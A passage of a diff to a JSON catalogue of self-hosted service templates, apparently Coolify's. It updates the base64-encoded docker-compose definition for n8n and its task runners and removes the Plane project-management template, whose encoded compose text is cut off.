nCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJPSR7TjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJOi1odHRwOi8vbjhuOjU2Nzl9JwogICAgICAtICdOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSR7U0VSVklDRV9QQVNTV09SRF9OOE59JwogICAgICAtICdOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ9JHtOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ6LTE1fScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gbjhuCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2ODAvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTjhOXzU2NzgKICAgICAgLSAnTjhOX0VESVRPUl9CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX044Tn0nCiAgICAgIC0gJ1dFQkhPT0tfVVJMPSR7U0VSVklDRV9VUkxfTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX1BST1RPQ09MPSR7TjhOX1BST1RPQ09MOi1odHRwc30nCiAgICAgIC0gJ0dFTkVSSUNfVElNRVpPTkU9JHtHRU5FUklDX1RJTUVaT05FOi1VVEN9JwogICAgICAtICdUWj0ke1RaOi1VVEN9JwogICAgICAtICdEQl9TUUxJVEVfUE9PTF9TSVpFPSR7REJfU1FMSVRFX1BPT0xfU0laRTotMn0nCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSAnTjhOX1JVTk5FUlNfQVVUSF9UT0tFTj0ke1NFUlZJQ0VfUEFTU1dPUkRfTjhOfScKICAgICAgLSAnTjhOX05BVElWRV9QWVRIT05fUlVOTkVSPSR7TjhOX05BVElWRV9QWVRIT05fUlVOTkVSOi10cnVlfScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgICAgLSAnTjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERT0ke044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU6LXRydWV9JwogICAgICAtICdOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TPSR7TjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM9JHtOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TOi10cnVlfScKICAgICAgLSAnTjhOX1BST1hZX0hPUFM9JHtOOE5fUFJPWFlfSE9QUzotMX0nCiAgICAgIC0gJ044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s9JHtOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICduOG4tZGF0YTovaG9tZS9ub2RlLy5uOG4nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2NzgvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgdGFzay1ydW5uZXJzOgogICAgaW1hZ2U6ICduOG5pby9ydW5uZXJzOjIuMTAuMicKICAgIGVudmlyb25tZW50OgogICAgICAtICdOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk9JHtOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk6LWh0dHA6Ly9uOG46NTY3OX0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0FVVEhfVE9LRU49JHtTRVJWSUNFX1BBU1NXT1JEX044Tn0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVD0ke044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVDotMTV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBuOG4KICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY4MC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", "tags": [ "n8n", "workflow", @@ -3660,27 +3643,6 @@ "minversion": "0.0.0", "port": "80" }, - "plane": { - "documentation": "https://docs.plane.so/self-hosting/methods/docker-compose?utm_source=coolify.io", - "slogan": "The open source project management tool", - "compose": "eC1kYi1lbnY6CiAgUEdIT1NUOiBwbGFuZS1kYgogIFBHREFUQUJBU0U6IHBsYW5lCiAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogIFBPU1RHUkVTX0RCOiBwbGFuZQogIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQp4LXJlZGlzLWVudjoKICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99Jwp4LW1pbmlvLWVudjoKICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwp4LWF3cy1zMy1lbnY6CiAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9Jwp4LW1xLWVudjoKICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKeC1saXZlLWVudjoKICBBUElfQkFTRV9VUkw6ICcke0FQSV9CQVNFX1VSTDotaHR0cDovL2FwaTo4MDAwfScKeC1hcHAtZW52OgogIEFQUF9SRUxFQVNFOiAnJHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICBXRUJfVVJMOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgREVCVUc6ICcke0RFQlVHOi0wfScKICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKc2VydmljZXM6CiAgcHJveHk6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtcHJveHk6JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX1BMQU5FCiAgICAgIC0gJ0FQUF9ET01BSU49JHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIC0gJ1NJVEVfQUREUkVTUz06ODAnCiAgICAgIC0gJ0ZJTEVfU0laRV9MSU1JVD0ke0ZJTEVfU0laRV9MSU1JVDotNTI0Mjg4MH0nCiAgICAgIC0gJ0JVQ0tFVF9OQU1FPSR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gd2ViCiAgICAgIC0gYXBpCiAgICAgIC0gc3BhY2UKICAgICAgLSBhZG1pbgogICAgICAtIGxpdmUKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHdlYjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1mcm9udGVuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnd2dldCAtcU8tIGh0dHA6Ly9gaG9zdG5hbWVgOjMwMDAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBzcGFjZToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1zcGFjZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgICAgLSB3ZWIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgYWRtaW46CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYWRtaW46JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gd2ViCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGxpdmU6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtbGl2ZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIEFQSV9CQVNFX1VSTDogJyR7QVBJX0JBU0VfVVJMOi1odHRwOi8vYXBpOjgwMDB9JwogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHdlYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGFwaToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC1hcGkuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfYXBpOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgd29ya2VyOgogICAgaW1hZ2U6ICdhcnRpZmFjdHMucGxhbmUuc28vbWFrZXBsYW5lL3BsYW5lLWJhY2tlbmQ6JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGNvbW1hbmQ6IC4vYmluL2RvY2tlci1lbnRyeXBvaW50LXdvcmtlci5zaAogICAgdm9sdW1lczoKICAgICAgLSAnbG9nc193b3JrZXI6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfVVJMX1BMQU5FfScKICAgICAgREVCVUc6ICcke0RFQlVHOi0wfScKICAgICAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICAgICAgR1VOSUNPUk5fV09SS0VSUzogJyR7R1VOSUNPUk5fV09SS0VSUzotMX0nCiAgICAgIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICAgICAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgICAgIFNFQ1JFVF9LRVk6ICRTRVJWSUNFX1BBU1NXT1JEXzY0X1NFQ1JFVEtFWQogICAgICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogICAgICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICAgICAgTUlOSU9fRU5EUE9JTlRfU1NMOiAnJHtNSU5JT19FTkRQT0lOVF9TU0w6LTB9JwogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICAgIFJFRElTX0hPU1Q6ICcke1JFRElTX0hPU1Q6LXBsYW5lLXJlZGlzfScKICAgICAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgICAgIFJFRElTX1VSTDogJyR7UkVESVNfVVJMOi1yZWRpczovL3BsYW5lLXJlZGlzOjYzNzkvfScKICAgICAgTUlOSU9fUk9PVF9VU0VSOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIE1JTklPX1JPT1RfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19SRUdJT046ICcke0FXU19SRUdJT046LX0nCiAgICAgIEFXU19BQ0NFU1NfS0VZX0lEOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1MzX0VORFBPSU5UX1VSTDogJyR7QVdTX1MzX0VORFBPSU5UX1VSTDotaHR0cDovL3BsYW5lLW1pbmlvOjkwMDB9JwogICAgICBBV1NfUzNfQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIFJBQkJJVE1RX0hPU1Q6IHBsYW5lLW1xCiAgICAgIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1VTRVI6ICcke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1BBU1M6ICcke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgICAgUkFCQklUTVFfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHBsYW5lLWRiCiAgICAgIC0gcGxhbmUtcmVkaXMKICAgICAgLSBwbGFuZS1tcQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGVjaG8KICAgICAgICAtICdoZXkgd2hhdHMgdXAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBiZWF0LXdvcmtlcjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC1iZWF0LnNoCiAgICB2b2x1bWVzOgogICAgICAtICdsb2dzX2JlYXQtd29ya2VyOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkF